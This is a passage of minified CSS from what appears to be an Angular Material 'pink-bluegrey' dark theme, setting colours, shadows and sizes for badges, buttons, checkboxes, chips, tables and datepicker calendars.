#0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.pink-bluegrey-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.pink-bluegrey-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.pink-bluegrey-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.pink-bluegrey-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.pink-bluegrey-theme .mat-autocomplete-panel{background:#424242;color:#fff}.pink-bluegrey-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.pink-bluegrey-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:#424242}.pink-bluegrey-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#fff}.pink-bluegrey-theme .mat-badge{position:relative}.pink-bluegrey-theme .mat-badge.mat-badge{overflow:visible}.pink-bluegrey-theme .mat-badge-hidden .mat-badge-content{display:none}.pink-bluegrey-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.pink-bluegrey-theme .ng-animate-disabled .mat-badge-content,.pink-bluegrey-theme .mat-badge-content._mat-animation-noopable{transition:none}.pink-bluegrey-theme .mat-badge-content.mat-badge-active{transform:none}.pink-bluegrey-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.pink-bluegrey-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.pink-bluegrey-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.pink-bluegrey-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .pink-bluegrey-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.pink-bluegrey-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .pink-bluegrey-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.pink-bluegrey-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .pink-bluegrey-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.pink-bluegrey-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .pink-bluegrey-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.pink-bluegrey-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .pink-bluegrey-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .pink-bluegrey-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .pink-bluegrey-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .pink-bluegrey-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.pink-bluegrey-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.pink-bluegrey-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.pink-bluegrey-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.pink-bluegrey-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .pink-bluegrey-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.pink-bluegrey-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .pink-bluegrey-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.pink-bluegrey-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .pink-bluegrey-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.pink-bluegrey-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .pink-bluegrey-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.pink-bluegrey-theme .mat-badge-content{color:#fff;background:#c2185b}.cdk-high-contrast-active .pink-bluegrey-theme .mat-badge-content{outline:solid 1px;border-radius:0}.pink-bluegrey-theme .mat-badge-accent .mat-badge-content{background:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.pink-bluegrey-theme .mat-badge-disabled .mat-badge-content{background:#6e6e6e;color:#ffffff80}.pink-bluegrey-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:#424242;color:#fff}.pink-bluegrey-theme .mat-button,.pink-bluegrey-theme .mat-icon-button,.pink-bluegrey-theme .mat-stroked-button{color:inherit;background:transparent}.pink-bluegrey-theme .mat-button.mat-primary,.pink-bluegrey-theme .mat-icon-button.mat-primary,.pink-bluegrey-theme .mat-stroked-button.mat-primary{color:#c2185b}.pink-bluegrey-theme .mat-button.mat-accent,.pink-bluegrey-theme .mat-icon-button.mat-accent,.pink-bluegrey-theme .mat-stroked-button.mat-accent{color:#b0bec5}.pink-bluegrey-theme .mat-button.mat-warn,.pink-bluegrey-theme .mat-icon-button.mat-warn,.pink-bluegrey-theme .mat-stroked-button.mat-warn{color:#f44336}.pink-bluegrey-theme .mat-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-icon-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-icon-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-icon-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-stroked-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-stroked-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-stroked-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.pink-bluegrey-theme .mat-button.mat-primary .mat-button-focus-overlay,.pink-bluegrey-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.pink-bluegrey-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#c2185b}.pink-bluegrey-theme .mat-button.mat-accent .mat-button-focus-overlay,.pink-bluegrey-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.pink-bluegrey-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#b0bec5}.pink-bluegrey-theme .mat-button.mat-warn .mat-button-focus-overlay,.pink-bluegrey-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.pink-bluegrey-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.pink-bluegrey-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.pink-bluegrey-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.pink-bluegrey-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.pink-bluegrey-theme .mat-button .mat-ripple-element,.pink-bluegrey-theme .mat-icon-button .mat-ripple-element,.pink-bluegrey-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.pink-bluegrey-theme .mat-button-focus-overlay{background:white}.pink-bluegrey-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#ffffff1f}.pink-bluegrey-theme .mat-flat-button,.pink-bluegrey-theme .mat-raised-button,.pink-bluegrey-theme .mat-fab,.pink-bluegrey-theme .mat-mini-fab{color:#fff;background-color:#424242}.pink-bluegrey-theme .mat-flat-button.mat-primary,.pink-bluegrey-theme .mat-raised-button.mat-primary,.pink-bluegrey-theme .mat-fab.mat-primary,.pink-bluegrey-theme .mat-mini-fab.mat-primary{color:#fff}.pink-bluegrey-theme .mat-flat-button.mat-accent,.pink-bluegrey-theme .mat-raised-button.mat-accent,.pink-bluegrey-theme .mat-fab.mat-accent,.pink-bluegrey-theme .mat-mini-fab.mat-accent{color:#000000de}.pink-bluegrey-theme .mat-flat-button.mat-warn,.pink-bluegrey-theme .mat-raised-button.mat-warn,.pink-bluegrey-theme .mat-fab.mat-warn,.pink-bluegrey-theme .mat-mini-fab.mat-warn{color:#fff}.pink-bluegrey-theme .mat-flat-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.pink-bluegrey-theme .mat-flat-button.mat-primary,.pink-bluegrey-theme .mat-raised-button.mat-primary,.pink-bluegrey-theme .mat-fab.mat-primary,.pink-bluegrey-theme .mat-mini-fab.mat-primary{background-color:#c2185b}.pink-bluegrey-theme .mat-flat-button.mat-accent,.pink-bluegrey-theme .mat-raised-button.mat-accent,.pink-bluegrey-theme .mat-fab.mat-accent,.pink-bluegrey-theme .mat-mini-fab.mat-accent{background-color:#b0bec5}.pink-bluegrey-theme .mat-flat-button.mat-warn,.pink-bluegrey-theme .mat-raised-button.mat-warn,.pink-bluegrey-theme .mat-fab.mat-warn,.pink-bluegrey-theme .mat-mini-fab.mat-warn{background-color:#f44336}.pink-bluegrey-theme .mat-flat-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#ffffff1f}.pink-bluegrey-theme .mat-flat-button.mat-primary .mat-ripple-element,.pink-bluegrey-theme .mat-raised-button.mat-primary .mat-ripple-element,.pink-bluegrey-theme .mat-fab.mat-primary .mat-ripple-element,.pink-bluegrey-theme .mat-mini-fab.mat-primary .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-flat-button.mat-accent .mat-ripple-element,.pink-bluegrey-theme .mat-raised-button.mat-accent .mat-ripple-element,.pink-bluegrey-theme .mat-fab.mat-accent .mat-ripple-element,.pink-bluegrey-theme .mat-mini-fab.mat-accent .mat-ripple-element{background-color:#0000001a}.pink-bluegrey-theme .mat-flat-button.mat-warn .mat-ripple-element,.pink-bluegrey-theme .mat-raised-button.mat-warn .mat-ripple-element,.pink-bluegrey-theme .mat-fab.mat-warn .mat-ripple-element,.pink-bluegrey-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-stroked-button:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.pink-bluegrey-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.pink-bluegrey-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-fab:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.pink-bluegrey-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.pink-bluegrey-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.pink-bluegrey-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.pink-bluegrey-theme .mat-button-toggle{color:#ffffff80}.pink-bluegrey-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#ffffff1f}.pink-bluegrey-theme .mat-button-toggle-appearance-standard{color:#fff;background:#424242}.pink-bluegrey-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#fff}.pink-bluegrey-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #595959}.pink-bluegrey-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #595959}.pink-bluegrey-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #595959}.pink-bluegrey-theme .mat-button-toggle-checked{background-color:#212121;color:#ffffffb3}.pink-bluegrey-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#fff}.pink-bluegrey-theme .mat-button-toggle-disabled{color:#ffffff4d;background-color:#000}.pink-bluegrey-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:#424242}.pink-bluegrey-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#424242}.pink-bluegrey-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.pink-bluegrey-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #595959}.pink-bluegrey-theme .mat-card{background:#424242;color:#fff}.pink-bluegrey-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.pink-bluegrey-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-card-subtitle{color:#ffffffb3}.pink-bluegrey-theme .mat-checkbox-frame{border-color:#ffffffb3}.pink-bluegrey-theme .mat-checkbox-checkmark{fill:#303030}.pink-bluegrey-theme .mat-checkbox-checkmark-path{stroke:#303030!important}.pink-bluegrey-theme .mat-checkbox-mixedmark{background-color:#303030}.pink-bluegrey-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.pink-bluegrey-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#c2185b}.pink-bluegrey-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.pink-bluegrey-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#b0bec5}.pink-bluegrey-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.pink-bluegrey-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.pink-bluegrey-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.pink-bluegrey-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#686868}.pink-bluegrey-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#686868}.pink-bluegrey-theme .mat-checkbox-disabled .mat-checkbox-label{color:#ffffff80}.pink-bluegrey-theme .mat-checkbox .mat-ripple-element{background-color:#fff}.pink-bluegrey-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.pink-bluegrey-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#c2185b}.pink-bluegrey-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.pink-bluegrey-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#b0bec5}.pink-bluegrey-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.pink-bluegrey-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.pink-bluegrey-theme .mat-chip.mat-standard-chip{background-color:#616161;color:#fff}.pink-bluegrey-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#fff;opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.pink-bluegrey-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip:after{background:white}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#c2185b;color:#fff}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#000000de;opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#0000001a}.pink-bluegrey-theme .mat-table{background:#424242}.pink-bluegrey-theme .mat-table thead,.pink-bluegrey-theme .mat-table tbody,.pink-bluegrey-theme .mat-table tfoot,.pink-bluegrey-theme mat-header-row,.pink-bluegrey-theme mat-row,.pink-bluegrey-theme mat-footer-row,.pink-bluegrey-theme [mat-header-row],.pink-bluegrey-theme [mat-row],.pink-bluegrey-theme [mat-footer-row],.pink-bluegrey-theme .mat-table-sticky{background:inherit}.pink-bluegrey-theme mat-row,.pink-bluegrey-theme mat-header-row,.pink-bluegrey-theme mat-footer-row,.pink-bluegrey-theme th.mat-header-cell,.pink-bluegrey-theme td.mat-cell,.pink-bluegrey-theme td.mat-footer-cell{border-bottom-color:#ffffff1f}.pink-bluegrey-theme .mat-header-cell{color:#ffffffb3}.pink-bluegrey-theme .mat-cell,.pink-bluegrey-theme .mat-footer-cell{color:#fff}.pink-bluegrey-theme .mat-calendar-arrow{fill:#fff}.pink-bluegrey-theme .mat-datepicker-toggle,.pink-bluegrey-theme .mat-datepicker-content .mat-calendar-next-button,.pink-bluegrey-theme .mat-datepicker-content .mat-calendar-previous-button{color:#fff}.pink-bluegrey-theme .mat-calendar-table-header-divider:after{background:rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-calendar-table-header,.pink-bluegrey-theme .mat-calendar-body-label{color:#ffffffb3}.pink-bluegrey-theme .mat-calendar-body-cell-content,.pink-bluegrey-theme .mat-date-range-input-separator{color:#fff;border-color:transparent}.pink-bluegrey-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#ffffff80}.pink-bluegrey-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#ffffff80}.pink-bluegrey-theme .mat-calendar-body-in-preview{color:#ffffff3d}.pink-bluegrey-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff80}.pink-bluegrey-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff4d}.pink-bluegrey-theme .mat-calendar-body-in-range:before{background:rgba(194,24,91,.2)}.pink-bluegrey-theme .mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.pink-bluegrey-theme .mat-calendar-body-comparison-bridge-start:before,.pink-bluegrey-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(194,24,91,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-calendar-body-comparison-bridge-end:before,.pink-bluegrey-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(194,24,91,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.pink-bluegrey-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.pink-bluegrey-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.pink-bluegrey-theme .mat-calendar-body-selected{background-color:#c2185b;color:#fff}.pink-bluegrey-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#c2185b66}.pink-bluegrey-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.pink-bluegrey-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.pink-bluegrey-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#c2185b4d}@media (hover: hover){.pink-bluegrey-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#c2185b4d}}.pink-bluegrey-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#424242;color:#fff}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(176,190,197,.2)}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.pink-bluegrey-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(176,190,197,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.pink-bluegrey-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(176,190,197,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#b0bec566}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #000000de}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.pink-bluegrey-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#b0bec54d}@media (hover: hover){.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#b0bec54d}}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.pink-bluegrey-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.pink-bluegrey-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.pink-bluegrey-theme .mat-datepicker-content.mat-warn 